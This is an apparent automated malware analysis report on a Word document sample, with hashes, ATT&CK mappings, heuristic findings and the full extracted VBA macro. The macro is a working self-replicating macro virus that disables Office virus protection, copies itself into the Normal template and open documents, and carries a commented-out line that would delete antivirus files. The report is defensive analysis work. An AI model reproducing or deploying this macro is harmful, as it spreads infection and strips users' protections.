Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 be2ae515c83bf36e…

MALICIOUS

Office (OLE)

28.5 KB First seen: 2015-09-30
MD5: 531d3c4bc1e6dec4fc1aeed00b085680 SHA-1: 731a222a324dc123ed3e41cb7cd2f1fb65e38ed6 SHA-256: be2ae515c83bf36ef8e12d735e4fa4bc53c19ef417796da2b61f64135f3e4836
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1566.001 Spearphishing Attachment

The sample contains VBA macros that actively disable macro security features and attempt to replicate their code into the Normal template. This behavior suggests an intent to achieve persistence and potentially spread to other documents. The critical heuristic for VBA macro-virus self-replication and AV tampering further supports this assessment.

Heuristics 3

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Call Document_Open

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2064 bytes
SHA-256: 8857ce445975ac41b1a5331bdc941a92ae772a79da419aa315cf09e8aee9a150
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
Rem
Rem ProgramName "¦³¹Ú³Ì?.§Æ±æ¬ÛÀH"
Call Document_Open
End Sub
Private Sub Document_New()
Call Document_Open
End Sub
Private Sub Document_Open()
On Error Resume Next
Application.DisplayAlerts = wdAlertsNone
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
NormInstalled = False
ActInstalled = False
If NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(2, 1) = "Rem" Then NormInstalled = True
If ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(2, 1) = "Rem" Then ActInstalled = True
If NormInstalled = True And ActInstalled = True Then GoTo Killer
If NormInstalled = False Then
    Set Inf = NormalTemplate.VBProject.VBComponents(1).CodeModule
    Set Noc = ActiveDocument.VBProject.VBComponents(1).CodeModule
Else
    Set Inf = ActiveDocument.VBProject.VBComponents(1).CodeModule
    Set Noc = NormalTemplate.VBProject.VBComponents(1).CodeModule
End If
With Noc
    Code = .Lines(1, .CountOfLines)
End With
With Inf
    .DeleteLines 1, .CountOfLines
    .InsertLines 1, Code
End With
Application.DisplayAlerts = wdAlertsAll
''WordBasic.Kill "c:\Program Files\Trend Pc-cillin 98\*.*"
Exit Sub
Killer:
 If Month(Date) = Int(Rnd * 12 + 1) Then
 ActiveWindow.Caption = "¦³¹Ú³Ì?.§Æ±æ¬ÛÀH"
  Set ULTRAS = ActiveDocument.Range(Start:=0, End:=0)
    With ULTRAS
        .InsertBefore "¦³¹Ú³Ì?.§Æ±æ¬ÛÀH" + Chr(13)
        .Font.Size = 42
        .Font.Name = "²Ó©úÅé"
        .Font.ColorIndex = wdGreen
        .Font.Shadow = 1
        .Font.Animation = wdAnimationLasVegasLights
    End With
 AutoCorrect.Entries.Add Name:=".", Value:="·s¥x?.·s°ê®a.·s§Æ±æ"
 AutoCorrect.Entries.Add Name:=",", Value:="¦³¹Ú³Ì?.§Æ±æ¬ÛÀH"
 End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.